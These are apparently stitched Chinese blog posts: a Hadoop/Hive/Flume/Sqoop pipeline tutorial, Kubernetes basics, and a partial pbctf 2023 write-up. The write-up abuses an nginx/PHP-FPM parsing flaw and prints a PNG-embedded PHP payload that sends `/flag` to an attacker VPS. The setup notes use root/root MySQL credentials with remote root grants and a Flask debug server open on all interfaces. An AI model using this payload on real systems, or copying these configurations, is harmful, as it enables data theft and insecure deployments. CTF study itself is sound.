/opt/server/hadoop-3.1.0/share/hadoop/mapreduce/hadoop-mapreduce-examples-3.1.0.jar pi 2 10 web ui 端口 8088\nmysql 1 2 3 4 5 6 7 8 9 10 11 # 登录mysql mysql -u root -p Enter password: #输入在日志中生成的临时密码 # 更新root密码 设置为root set global validate_password_policy=0; set global validate_password_length=1; set password=password(\u0026#39;root\u0026#39;); # 授予远程连接权限 grant all privileges on *.* to \u0026#39;root\u0026#39; @\u0026#39;%\u0026#39; identified by \u0026#39;root\u0026#39;; # 刷新 flush privileges; hive 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 # 上传mysql-connector-java-5.1.38.jar 添加mysql_jdbc驱动 cd /opt/server/apache-hive-3.1.2-bin/lib cd /opt/server/apache-hive-3.1.2-bin/conf cp hive-env.sh.template hive-env.sh vim hive-env.sh # 加入以下内容 HADOOP_HOME=/opt/server/hadoop-3.1.0 # 新建 hive-site.xml 文件，配置存放元数据的 MySQL 的地址、驱动、用户名和密码等信息 vim hive-site.xml \u0026lt;?xml version=\u0026#34;1.0\u0026#34;?\u0026gt; \u0026lt;?xml-stylesheet type=\u0026#34;text/xsl\u0026#34; href=\u0026#34;configuration.xsl\u0026#34;?\u0026gt; \u0026lt;configuration\u0026gt; \u0026lt;!-- 存储元数据mysql相关配置 /etc/hosts --\u0026gt; \u0026lt;property\u0026gt; \u0026lt;name\u0026gt;javax.jdo.option.ConnectionURL\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt; jdbc:mysql://server:3306/hive? createDatabaseIfNotExist=true\u0026amp;amp;useSSL=false\u0026amp;amp;useUnicode=true\u0026amp;amp;chara cterEncoding=UTF-8\u0026lt;/value\u0026gt; \u0026lt;/property\u0026gt; \u0026lt;property\u0026gt; \u0026lt;name\u0026gt;javax.jdo.option.ConnectionDriverName\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt;com.mysql.jdbc.Driver\u0026lt;/value\u0026gt; \u0026lt;/property\u0026gt; \u0026lt;property\u0026gt; \u0026lt;name\u0026gt;javax.jdo.option.ConnectionUserName\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt;root\u0026lt;/value\u0026gt; \u0026lt;/property\u0026gt; \u0026lt;property\u0026gt; \u0026lt;name\u0026gt;javax.jdo.option.ConnectionPassword\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt;root\u0026lt;/value\u0026gt; \u0026lt;/property\u0026gt; \u0026lt;/configuration\u0026gt; # 动初始化元数据库 cd /opt/server/apache-hive-3.1.2-bin/bin ./schematool -dbType mysql -initSchema 使用起来和sql类似\nflume 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 # 编写一个 taildir-hdfs.conf 监控 /var/log/nginx 目录下的日志文件 vim taildir-hdfs.conf a3.sources = r3 a3.sinks = k3 a3.channels = c3 # Describe/configure the source a3.sources.r3.type = TAILDIR a3.sources.r3.filegroups = f1 # 此处支持正则 a3.sources.r3.filegroups.f1 = /var/log/nginx/access.log # 用于记录文件读取的位置信息 a3.sources.r3.positionFile = /opt/server/apache-flume-1.9.0-bin/tail_dir.json # Describe the sink a3.sinks.k3.type = hdfs a3.sinks.k3.hdfs.path = hdfs://server:8020/user/tailDir a3.sinks.k3.hdfs.fileType = DataStream # 设置每个文件的滚动大小大概是 128M，默认值：1024，当临时文件达到该大小（单位：bytes）时，滚动成目标文件。如果设置成0，则表示不根据临时文件大小来滚动文件。 a3.sinks.k3.hdfs.rollSize = 134217700 # 默认值：10，当events数据达到该数量时候，将临时文件滚动成目标文件，如果设置成0，则表示不根据events数据来滚动文件。 a3.sinks.k3.hdfs.rollCount = 0 # 不随时间滚动，默认为30秒 a3.sinks.k3.hdfs.rollInterval = 10 # flume检测到hdfs在复制块时会自动滚动文件，导致roll参数不生效，要将该参数设置为1；否则HFDS文件所在块的复制会引起文件滚动 a3.sinks.k3.hdfs.minBlockReplicas = 1 # Use a channel which buffers events in memory a3.channels.c3.type = memory a3.channels.c3.capacity = 1000 a3.channels.c3.transactionCapacity = 100 # Bind the source and sink to the channel a3.sources.r3.channels = c3 a3.sinks.k3.channel = c3 启动 flume\n1 bin/flume-ng agent -c ./conf -f ./conf/taildir-hdfs.conf -n a3 -Dflume.root.logger=INFO,console sqoop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 # 编辑配置文件 cd /opt/server/sqoop-1.4.7.bin__hadoop-2.6.0/conf cp sqoop-env-template.sh sqoop-env.sh vim sqoop-env.sh # 加入以下内容 export HADOOP_COMMON_HOME=/opt/server/hadoop-3.1.0 export HADOOP_MAPRED_HOME=/opt/server/hadoop-3.1.0 export HIVE_HOME=/opt/server/apache-hive-3.1.2-bin # 加入mysql的jdbc驱动包mysql-connector-java-5.1.38.jar cd /opt/server/sqoop-1.4.7.bin__hadoop-2.6.0/lib # 导入/导出数据 create table test1( id int unsigned auto_increment, name varchar(20), primary key(id) ); insert into test1(name) values(\u0026#34;fuck\u0026#34;); ./sqoop import \\ --connect jdbc:mysql://192.168.80.100:3306/sqoop \\ --username root --password root \\ --table test1 \\ --target-dir /appendresult \\ --incremental append \\ --check-column id \\ --last-value 1 create database exportfortest; create table test1( id int unsigned auto_increment, name varchar(20), primary key(id) ); ./sqoop export \\ --connect jdbc:mysql://192.168.80.100:3306/ctfd \\ --username root \\ --password root \\ --table test1 \\ --export-dir /appendresult/part-m-00000 # 创建任务 ./sqoop job --create job_test2 \\ -- import \\ --connect jdbc:mysql://192.168.80.100:3306/sqoop \\ --username root \\ --password-file /mysql/pwd/mysqlpwd.pwd \\ --table test \\ --target-dir /crontabtest \\ --check-column last_mod \\ --incremental lastmodified \\ --last-value \u0026#34;2023-03-02 09:20:08\u0026#34; \\ --m 1 \\ --append 数据处理流程 寒假有办了个线上冬令营，把网站的日志拿过来做分析\n数据来源：ctfd 的 logins.log 日志文件\n导入数据\n1 2 3 4 5 [root@bigdatalearning data]# hdfs dfs -ls /ctfd [root@bigdatalearning data]# hdfs dfs -put logins.log /ctfd/logins.log [root@bigdatalearning data]# hdfs dfs -ls /ctfd Found 1 items -rw-r--r-- 1 root supergroup 83483 2023-03-03 18:24 /ctfd/logins.log hive数据处理\nuse ctfd; create table logins (content string); load data inpath \u0026#39;/ctfd/logins.log\u0026#39; into table logins; CREATE TABLE logins_res (visit_id string,visit_count int) ROW FORMAT DELIMITED FIELDS TERMINATED BY \u0026#39;\\t\u0026#39;; INSERT INTO TABLE logins_res SELECT visit_id, COUNT(*) AS visit_count FROM ( SELECT regexp_extract(content, \u0026#39;\\\\[(.*?)\\\\]\u0026#39;, 1) AS visit_time, regexp_extract(content, \u0026#39;\\\\d+\\\\.\\\\d+\\\\.\\\\d+\\\\.\\\\d+\u0026#39;, 0) AS ip_address, regexp_extract(content, \u0026#39; - (\\\\w+) \u0026#39;, 1) AS visit_id FROM logins ) log_parsed GROUP BY visit_id; sqoop 转存\n1 2 3 4 5 6 7 8 9 10 11 12 13 # mysql里面创建个表 create table test1( name varchar(50), value int ); # 将HDFS/user/hive/warehouse/ctfd.db/logins_res文件中的数据导出到mysql的test1表中 ./sqoop export \\ --connect jdbc:mysql://192.168.80.100:3306/ctfd \\ --username root \\ --password root \\ --table test1 \\ --export-dir /user/hive/warehouse/ctfd.db/logins_res web\n用python写个后端返回数据\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #!/usr/bin/python3 from flask import Flask,jsonify import pymysql as pmq from pymysql import cursors #connect(ip.user,password,dbname) app = Flask(__name__) @app.route(\u0026#34;/api\u0026#34;) def index(): con = pmq.connect(host=\u0026#34;localhost\u0026#34;, user=\u0026#34;root\u0026#34;, password=\u0026#34;root\u0026#34;, database=\u0026#34;ctfd\u0026#34;, cursorclass=cursors.DictCursor) #操作游标 cur = con.cursor() cur.execute(\u0026#39;select * from test1\u0026#39;) results = cur.fetchall() return jsonify(results) if __name__ == \u0026#34;__main__\u0026#34;: app.run(host=\u0026#34;0.0.0.0\u0026#34;,port = \u0026#34;15000\u0026#34;,debug=True) browser\n前端用vue + echarts 展示\n\u0026lt;template\u0026gt; \u0026lt;h1\u0026gt;{{ msg }}\u0026lt;/h1\u0026gt; \u0026lt;div class=\u0026#34;hello\u0026#34; id=\u0026#34;main\u0026#34;\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import * as echarts from \u0026#39;echarts\u0026#39;; import \u0026#39;echarts/map/js/china.js\u0026#39; import axios from \u0026#39;axios\u0026#39;; export default { data: function () { return { option: { title: { text: \u0026#39;Logins\u0026#39;, subtext: \u0026#39;rois winter 2023\u0026#39;, left: \u0026#39;center\u0026#39; }, tooltip: { trigger: \u0026#39;item\u0026#39; }, legend: { orient: \u0026#39;vertical\u0026#39;, left: \u0026#39;left\u0026#39; }, series: [ { name: \u0026#39;Access From\u0026#39;, type: \u0026#39;pie\u0026#39;, center: [\u0026#39;75%\u0026#39;, \u0026#39;50%\u0026#39;], radius: \u0026#39;50%\u0026#39;, data: [], emphasis: { itemStyle: { shadowBlur: 10, shadowOffsetX: 0, shadowColor: \u0026#39;rgba(0, 0, 0, 0.5)\u0026#39; } } } ] } } }, name: \u0026#39;HelloWorld\u0026#39;, props: { msg: String }, mounted() { var myChart = echarts.init(document.getElementById(\u0026#39;main\u0026#39;)); axios.get(\u0026#34;/api\u0026#34;).then((response) =\u0026gt; { this.option.series[0].data = response.data; // 绘制图表 this.option = { ...this.option }; myChart.setOption(this.option); }); // var mydata = [ // { value: 1048, name: \u0026#39;Search Engine\u0026#39; }, // { value: 735, name: \u0026#39;Direct\u0026#39; }, // { value: 580, name: \u0026#39;Email\u0026#39; }, // { value: 484, name: \u0026#39;Union Ads\u0026#39; }, // { value: 300, name: \u0026#39;Video Ads\u0026#39; } // // ]; // this.option.series[0].data = mydata; // // 绘制图表 // this.option = { ...this.option }; // myChart.setOption(this.option); } } \u0026lt;/script\u0026gt; \u0026lt;!-- Add \u0026#34;scoped\u0026#34; attribute to limit CSS to this component only --\u0026gt; \u0026lt;style scoped\u0026gt; .hello { width: 100%; height: 500px; } \u0026lt;/style\u0026gt; 最终效果 问题与思考 todo\n","date":"2023-03-03T17:28:20Z","permalink":"/2023/03/03/big-data/","title":"大数据学习"},{"content":"k8s 初体验 什么是k8s Kubernetes 是一个开源的容器编排引擎，用来对容器化应用进行自动化部署、 扩缩和管理。\n为什么需要k8s 通过现代的 Web 服务，用户希望应用程序能够 24/7 全天候使用，开发人员希望每天可以多次发布部署新版本的应用程序。 容器化可以帮助软件包达成这些目标，使应用程序能够以简单快速的方式发布和更新，而无需停机。Kubernetes 帮助你确保这些容器化的应用程序在你想要的时间和地点运行，并帮助应用程序找到它们需要的资源和工具。Kubernetes 是一个可用于生产的开源平台，根据 Google 容器集群方面积累的经验，以及来自社区的最佳实践而设计。\nk8s的使用 使用 Minikube 创建集群 minikube start 时因为国内墙问题会有start失败的情况，自行百度\n一个 Kubernetes 集群包含两种类型的资源:\nMaster 调度整个集群。 Master 协调集群中的所有活动，例如调度应用、维护应用的所需状态、应用扩容以及推出新的更新。 Nodes 负责运行应用。Node 是一个虚拟机或者物理机，它在 Kubernetes 集群中充当工作机器的角色 minikube version - 确定minikube已经安装 https://minikube.sigs.k8s.io/docs/start/ minikube start - 启动minikube kubectl version - 确定kubectl已安装 kubectl cluster-info - 查看集群详细信息 kubectl get nodes - 查看集群中的节点 使用 kubectl 创建 Deployment 一旦运行了 Kubernetes 集群，就可以在其上部署容器化应用程序。 为此，你需要创建 Kubernetes Deployment 配置。Deployment 指挥 Kubernetes 如何创建和更新应用程序的实例。创建 Deployment 后，Kubernetes master 将应用程序实例调度到集群中的各个节点上。\nkubectl version - 确定kubectl已安装 kubectl get nodes - 查看集群中的节点 kubectl create deployment deployment-name –image=deployment-image kubectl get deployments - 列出所有deployment kubectl proxy - 代理api出来使得能够被访问 查看 pod 和工作节点 在创建 Deployment 时, Kubernetes 添加了一个 Pod 来托管你的应用实例。Pod 是 Kubernetes 抽象出来的，表示一组一个或多个应用程序容器（如 Docker），以及这些容器的一些共享资源。这些资源包括:\n共享存储，当作卷 网络，作为唯一的集群 IP 地址 有关每个容器如何运行的信息，例如容器镜像版本或要使用的特定端口。 一个 pod 总是运行在 工作节点。工作节点是 Kubernetes 中的参与计算的机器，可以是虚拟机或物理计算机，具体取决于集群。每个工作节点由主节点管理。工作节点可以有多个 pod ，Kubernetes 主节点会自动处理在集群中的工作节点上调度 pod 。 主节点的自动调度考量了每个工作节点上的可用资源。\n每个 Kubernetes 工作节点至少运行:\nKubelet，负责 Kubernetes 主节点和工作节点之间通信的过程; 它管理 Pod 和机器上运行的容器。 容器运行时（如 Docker）负责从仓库中提取容器镜像，解压缩容器以及运行应用程序。 使用 kubectl 进行故障排除。 最常见的操作可以使用以下 kubectl 命令来获取有关已部署的应用程序及其环境的信息：\nkubectl get - 列出资源 kubectl describe - 显示有关资源的详细信息 kubectl logs - 打印 pod 和其中容器的日志 kubectl exec - 在 pod 中的容器上执行命令 详细的命令示例\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 $ kubectl get pods NAME READY STATUS RESTARTS AGE kubernetes-bootcamp-fb5c67579-4whtb 1/1 Running 0 2m46s $ kubectl describe pods Name: kubernetes-bootcamp-fb5c67579-4whtb Namespace: default Priority: 0 Node: minikube/10.0.0.30 Start Time: Sun, 26 Feb 2023 10:22:42 +0000 Labels: app=kubernetes-bootcamp pod-template-hash=fb5c67579 Annotations: \u0026lt;none\u0026gt; Status: Running ....................... $ export POD_NAME=$(kubectl get pods -o go-template --template \u0026#39;{{range .items}}{{.metadata.name}}{{\u0026#34;\\n\u0026#34;}}{{end}}\u0026#39;) $ echo Name of the Pod: $POD_NAME Name of the Pod: kubernetes-bootcamp-fb5c67579-4whtb @ 实际是就是pod的name $ curl http://localhost:8001/api/v1/namespaces/default/pods/$POD_NAME/proxy/ Hello Kubernetes bootcamp! | Running on: kubernetes-bootcamp-fb5c67579-4whtb | v=1 $ kubectl logs $POD_NAME Kubernetes Bootcamp App Started At: 2023-02-26T10:22:44.413Z | Running On: kubernetes-bootcamp-fb5c67579-4whtb Running On: kubernetes-bootcamp-fb5c67579-4whtb | Total Requests: 1 | App Uptime: 2260.095 seconds | Log Time: 2023-02-26T11:00:24.509Z $ kubectl exec $POD_NAME -- env # 类似docker exec 容器 命令 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin HOSTNAME=kubernetes-bootcamp-fb5c67579-4whtb KUBERNETES_SERVICE_PORT=443 KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT=tcp://10.96.0.1:443 KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443 KUBERNETES_PORT_443_TCP_PROTO=tcp KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1 KUBERNETES_SERVICE_HOST=10.96.0.1 NPM_CONFIG_LOGLEVEL=info NODE_VERSION=6.3.1 HOME=/root $ kubectl exec -ti $POD_NAME -- bash # 以交互式执行命令执行的bash即进入命令行... 使用 Service 暴露你的应用 Kubernetes Pod 是转瞬即逝的。 Pod 实际上拥有 生命周期。 当一个工作 Node 挂掉后, 在 Node 上运行的 Pod 也会消亡。 ReplicaSet 会自动地通过创建新的 Pod 驱动集群回到目标状态，以保证应用程序正常运行。 换一个例子，考虑一个具有3个副本数的用作图像处理的后端程序。这些副本是可替换的; 前端系统不应该关心后端副本，即使 Pod 丢失或重新创建。也就是说，Kubernetes 集群中的每个 Pod (即使是在同一个 Node 上的 Pod )都有一个唯一的 IP 地址，因此需要一种方法自动协调 Pod 之间的变更，以便应用程序保持运行。\nKubernetes 中的服务(Service)是一种抽象概念，它定义了 Pod 的逻辑集和访问 Pod 的协议。Service 使从属 Pod 之间的松耦合成为可能。 和其他 Kubernetes 对象一样, Service 用 YAML (更推荐) 或者 JSON 来定义. Service 下的一组 Pod 通常由 LabelSelector (请参阅下面的说明为什么你可能想要一个 spec 中不包含selector的服务)来标记。\n尽管每个 Pod 都有一个唯一的 IP 地址，但是如果没有 Service ，这些 IP 不会暴露在集群外部。Service 允许你的应用程序接收流量。Service 也可以用在 ServiceSpec 标记type的方式暴露\nClusterIP (默认) - 在集群的内部 IP 上公开 Service 。这种类型使得 Service 只能从集群内访问。 NodePort - 使用 NAT 在集群中每个选定 Node 的相同端口上公开 Service 。使用\u0026lt;NodeIP\u0026gt;:\u0026lt;NodePort\u0026gt; 从集群外部访问 Service。是 ClusterIP 的超集。 LoadBalancer - 在当前云中创建一个外部负载均衡器(如果支持的话)，并为 Service 分配一个固定的外部IP。是 NodePort 的超集。 ExternalName - 通过返回带有该名称的 CNAME 记录，使用任意名称(由 spec 中的externalName指定)公开 Service。不使用代理。这种类型需要kube-dns的v1.7或更高版本。 另外，需要注意的是有一些 Service 的用例没有在 spec 中定义selector。 一个没有selector创建的 Service 也不会创建相应的端点对象。这允许用户手动将服务映射到特定的端点。没有 selector 的另一种可能是你严格使用type: ExternalName来标记。\nService 和 Label\nService 通过一组 Pod 路由通信。Service 是一种抽象，它允许 Pod 死亡并在 Kubernetes 中复制，而不会影响应用程序。在依赖的 Pod (如应用程序中的前端和后端组件)之间进行发现和路由是由Kubernetes Service 处理的。\nService 匹配一组 Pod 是使用 标签(Label)和选择器(Selector), 它们是允许对 Kubernetes 中的对象进行逻辑操作的一种分组原语。标签(Label)是附加在对象上的键/值对，可以以多种方式使用:\n指定用于开发，测试和生产的对象 嵌入版本标签 使用 Label 将对象进行分类 kubectl get pods - 列出存在的pods kubectl get services/svc - 列出存在的service kubectl expose (-f FILENAME | TYPE NAME) [–port=port] [–protocol=TCP|UDP|SCTP] [–target-port=number-or-name] [–name=name] [–external-ip=external-ip-of-service] [–type=type] [options] - 创建新服务并将其暴露给外部流量 kubectl describe services/服务名 - 查看服务的详情 curl $(minikube ip):$NODE_PORT 请求 这里的ip是哪个ip呢，node上面？应该是service上面 kubectl describe deployment - deployment的详细内容 通过 -l app=xxxx 来筛选指定标签的内容 pods or svc 等等 kubectl label pods $POD_NAME version=v1 - 要应用新标签，我们使用 label 命令，后跟对象类型、对象名称和新标签 我们便可以在对象详情的labels部分看见 version=v1 运行应用程序的多个实例 Deployment 仅为跑这个应用程序创建了一个 Pod。 当流量增加时，我们需要扩容应用程序满足用户需求。\n扩缩 是通过改变 Deployment 中的副本数量来实现的。\n扩展 Deployment 将创建新的 Pods，并将资源调度请求分配到有可用资源的节点上，收缩 会将 Pods 数量减少至所需的状态。Kubernetes 还支持 Pods 的自动缩放，。将 Pods 数量收缩到0也是可以的，但这会终止 Deployment 上所有已经部署的 Pods。\n运行应用程序的多个实例需要在它们之间分配流量。服务 (Service)有一种负载均衡器类型，可以将网络流量均衡分配到外部可访问的 Pods 上。服务将会一直通过端点来监视 Pods 的运行，保证流量只分配到可用的 Pods 上。\nkubectl get deployments - 列出 deployments kubectl get rs查看 Deployment 创建的 ReplicaSet ReplicaSet的名字为 [DEPLOYMENT-NAME]-[RANDOM-STRING] 随机字符串使用pod-template-hash作为随机数种子 kubectl scale deployment type –replicas=4 使用 kubectl scale 命令扩展副本，然后是部署类型、名称和所需的实例数 通过设置实例数来增加/减少pod数量 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 $ kubectl get deployments NAME READY UP-TO-DATE AVAILABLE AGE kubernetes-bootcamp 1/1 1 1 24s $ kubectl get rs NAME DESIRED CURRENT READY AGE kubernetes-bootcamp-fb5c67579 1 1 1 110s $ kubectl scale deployments/kubernetes-bootcamp --replicas=4 deployment.apps/kubernetes-bootcamp scaled $ kubectl scale deployments/kubernetes-bootcamp --replicas=4 deployment.apps/kubernetes-bootcamp scaled $ kubectl get deployments NAME READY UP-TO-DATE AVAILABLE AGE kubernetes-bootcamp 4/4 4 4 10m $ kubectl get pods -o wide NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES kubernetes-bootcamp-fb5c67579-bfp5g 1/1 Running 0 89s 172.18.0.9 minikube \u0026lt;none\u0026gt; \u0026lt;none\u0026gt; kubernetes-bootcamp-fb5c67579-c7h8c 1/1 Running 0 89s 172.18.0.7 minikube \u0026lt;none\u0026gt; \u0026lt;none\u0026gt; kubernetes-bootcamp-fb5c67579-dmksw 1/1 Running 0 89s 172.18.0.8 minikube \u0026lt;none\u0026gt; \u0026lt;none\u0026gt; kubernetes-bootcamp-fb5c67579-v5zx5 1/1 Running 0 10m 172.18.0.3 minikube \u0026lt;none\u0026gt; \u0026lt;none\u0026gt; $ kubectl describe deployments/kubernetes-bootcamp Name: kubernetes-bootcamp Namespace: default CreationTimestamp: Sun, 26 Feb 2023 12:00:22 +0000 Labels: app=kubernetes-bootcamp Annotations: deployment.kubernetes.io/revision: 1 Selector: app=kubernetes-bootcamp Replicas: 4 desired | 4 updated | 4 total | 4 available | 0 unavailable StrategyType: RollingUpdate MinReadySeconds: 0 RollingUpdateStrategy: 25% max unavailable, 25% max surge Pod Template: Labels: app=kubernetes-bootcamp Containers: kubernetes-bootcamp: Image: gcr.io/google-samples/kubernetes-bootcamp:v1 Port: 8080/TCP Host Port: 0/TCP Environment: \u0026lt;none\u0026gt; Mounts: \u0026lt;none\u0026gt; Volumes: \u0026lt;none\u0026gt; Conditions: Type Status Reason ---- ------ ------ Progressing True NewReplicaSetAvailable Available True MinimumReplicasAvailable OldReplicaSets: \u0026lt;none\u0026gt; NewReplicaSet: kubernetes-bootcamp-fb5c67579 (4/4 replicas created) Events: Type Reason Age From Message ---- ------ ---- ---- ------- Normal ScalingReplicaSet 10m deployment-controller Scaled up replica set kubernetes-bootcamp-fb5c67579 to 1 Normal ScalingReplicaSet 101s deployment-controller Scaled up replica set kubernetes-bootcamp-fb5c67579 to 4 执行滚动更新 用户希望应用程序始终可用，而开发人员则需要每天多次部署它们的新版本。在 Kubernetes 中，这些是通过滚动更新（Rolling Updates）完成的。 滚动更新 允许通过使用新的实例逐步更新 Pod 实例，零停机进行 Deployment 更新。新的 Pod 将在具有可用资源的节点上进行调度。在 Kubernetes 中，更新是经过版本控制的，任何 Deployment 更新都可以恢复到以前的（稳定）版本。\n滚动更新允许以下操作：\n将应用程序从一个环境提升到另一个环境（通过容器镜像更新） 回滚到以前的版本 持续集成和持续交付应用程序，无需停机 kubectl get deployments - 获取deployment kubectl get pods - 获取pods kubectl set image deployments/kubernetes-bootcamp kubernetes-bootcamp=jocatalin/kubernetes-bootcamp:v2 设置deployments/kubernetes-bootcamp的镜像 —\u0026gt; 更新镜像 会自己升级 kubectl describe pods - 查看应用的版本 kubectl rollout status deployments/kubernetes-bootcamp - 还可以通过运行 rollout status 命令来确认更新 kubectl rollout undo deployments/kubernetes-bootcamp - 要将部署回滚到上一个工作版本，请使用 rollout undo 命令： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 $ kubectl get deployments NAME READY UP-TO-DATE AVAILABLE AGE kubernetes-bootcamp 4/4 4 4 36s $ kubectl get pods NAME READY STATUS RESTARTS AGE kubernetes-bootcamp-fb5c67579-8k8n2 1/1 Running 0 26s kubernetes-bootcamp-fb5c67579-8mpqr 1/1 Running 0 26s kubernetes-bootcamp-fb5c67579-fw2wj 1/1 Running 0 26s kubernetes-bootcamp-fb5c67579-hnk24 1/1 Running 0 26s $ kubectl set image deployments/kubernetes-bootcamp kubernetes-bootcamp=jocatalin/kubernetes-bootcamp:v2 deployment.apps/kubernetes-bootcamp image updated $ kubectl get pods NAME READY STATUS RESTARTS AGE kubernetes-bootcamp-7d44784b7c-9pb8f 0/1 ContainerCreating 0 1s kubernetes-bootcamp-7d44784b7c-fgxlb 1/1 Running 0 4s kubernetes-bootcamp-7d44784b7c-lfskb 1/1 Running 0 4s kubernetes-bootcamp-7d44784b7c-v95wl 0/1 ContainerCreating 0 1s kubernetes-bootcamp-fb5c67579-8k8n2 1/1 Terminating 0 42s kubernetes-bootcamp-fb5c67579-8mpqr 1/1 Terminating 0 42s kubernetes-bootcamp-fb5c67579-fw2wj 1/1 Terminating 0 42s kubernetes-bootcamp-fb5c67579-hnk24 1/1 Running 0 42s k8s配置 在 Kubernetes 中，为 docker 容器设置环境变量有几种不同的方式，比如： Dockerfile、kubernetes.yml、Kubernetes ConfigMaps、和 Kubernetes Secrets。\n","date":"2023-02-26T12:46:22Z","permalink":"/2023/02/26/k8s-basics/","title":"k8s 初体验"},{"content":"pbctf 2023 题解 Makima Makima simps check in here: http://makima.chal.perfect.blue/\n比赛的时候的思考 简单看了下代码，一个nginx php主服务，python做cdn\n逻辑是：\nphp接受url fpm怎么打\nurl发送给cdn\ncdn发送网络请求 r = requests.get(url, stream=True)\n获取图像返回给php 设置返回头除了：Date，Server？？可以设置返回头可以干什么\nphp保存 最近爆了个 ImageMagick 漏洞 试了一下不能直接打\n赛后复现 参考这位师傅的wp：https://github.com/Arc-blroth/ctf-writeups/blob/master/2023/pb/makima.md\nnginx + php-fpm 导致解析漏洞 nginx配置文件\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 server { listen 8080 default_server; # 监听端口为8080，作为默认服务 listen [::]:8080 default_server; # 监听IPv6地址的端口为8080 root /var/www/html; # 网站根目录为/var/www/html server_name _; # 服务器名为任意字符 location / { # 匹配所有请求路径为 / index index.php; # 默认首页为index.php } location ~ \\.php$ { # 匹配所有以.php结尾的请求 internal; # 只能由内部请求访问 include fastcgi_params; # 引入FastCGI参数 fastcgi_intercept_errors on; # FastCGI出错时不返回给客户端 fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; # 设置FastCGI参数SCRIPT_FILENAME fastcgi_pass unix:/run/php/php7.4-fpm.sock; # PHP-FPM监听的socket地址 } location /cdn/ { # 匹配请求路径为 /cdn/ allow 127.0.0.1/32; # 允许127.0.0.1/32的IP地址访问 deny all; # 其他IP地址禁止访问 proxy_pass http://cdn; # 反向代理到 http://cdn } } internal;: 声明这个 location 只能在内部使用，不能被外部直接访问。\nwww.conf\n在 PHP-FPM 中，www.conf 是默认的 FPM 池配置文件，用于控制 PHP-FPM 进程池的行为。去掉注释后的配置如下\n[www] # 进程池名称 user = www-data # PHP-FPM 进程所属的用户 group = www-data # PHP-FPM 进程所属的用户组 listen = /run/php/php7.4-fpm.sock # PHP-FPM 进程监听的 Unix 套接字文件路径 listen.owner = www-data # 监听套接字文件的所有者 listen.group = www-data # 监听套接字文件的所有者组 pm = dynamic # PHP-FPM 进程管理模式，动态模式 pm.max_children = 5 # 进程池最多可以创建的工作进程数 pm.start_servers = 2 # PHP-FPM 启动时创建的工作进程数 pm.min_spare_servers = 1 # 进程池中保持最少空闲工作进程数 pm.max_spare_servers = 3 # 进程池中保持最多空闲工作进程数 security.limit_extensions = # 安全限制，只允许执行具有特定扩展名的 PHP 脚本 security.limit_extensions 是一个 PHP-FPM 的安全限制，它可以限制 PHP-FPM 执行脚本的扩展名。设置该选项可以帮助防止恶意脚本和攻击，因为一些恶意脚本会使用伪造的扩展名来绕过服务器的安全机制，执行恶意代码。\nhttps://nealpoole.com/blog/2011/04/setting-up-php-fastcgi-and-nginx-dont-trust-the-tutorials-check-your-configuration/\n由于nginx的设置和php-fpm的默认配置导致的解析漏洞使得：上传一个1.jpg文件 然后访问1.jpg/1.php 1.jpg会被当做php文件执行\n构建恶意图片 https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 \u0026lt;?php $_payload = \u0026#39;\u0026lt;?=file_get_contents(\u0026#34;http://my_vps:8083/image.png?res=\u0026#34;.`cat /flag`)?\u0026gt;\u0026#39;; $output = \u0026#39;rce.png\u0026#39;; while (strlen($_payload) % 3 != 0) { $_payload.=\u0026#34; \u0026#34;; } $_pay_len=strlen($_payload); if ($_pay_len \u0026gt; 256*3){ echo \u0026#34;FATAL: The payload is too long. Exiting...\u0026#34;; exit(); } if($_pay_len %3 != 0){ echo \u0026#34;FATAL: The payload isn\u0026#39;t divisible by 3. Exiting...\u0026#34;; exit(); } $width=$_pay_len/3; $height=20; $im = imagecreate($width, $height); $_hex=unpack(\u0026#39;H*\u0026#39;,$_payload); $_chunks=str_split($_hex[1], 6); for($i=0; $i \u0026lt; count($_chunks); $i++){ $_color_chunks=str_split($_chunks[$i], 2); $color=imagecolorallocate($im, hexdec($_color_chunks[0]), hexdec($_color_chunks[1]),hexdec($_color_chunks[2])); imagesetpixel($im,$i,1,$color); } imagepng($im,$output); ?\u0026gt; 这样就能使得被服务端处理后的图片中仍然有构建的php代码\nnginx internal 的访问 这里的内部访问是nginx发起的请求，详细参考nginx文档\nhttps://nginx.org/en/docs/http/ngx_http_core_module.html#internal\n无法控制nginx的配置文件，关注到里面的 requests redirected by the “X-Accel-Redirect” response header field from an upstream server;\nBut after reading a bit more of the (surprisingly little documentation) on X-Accel-Redirect, I discovered that NGINX treats *_pass servers as upstream servers for the purpose of X-Accel-Redirect.\n在cdn中我们可以控制任意响应头\n1 2 3 4 5 6 7 8 9 10 11 12 13 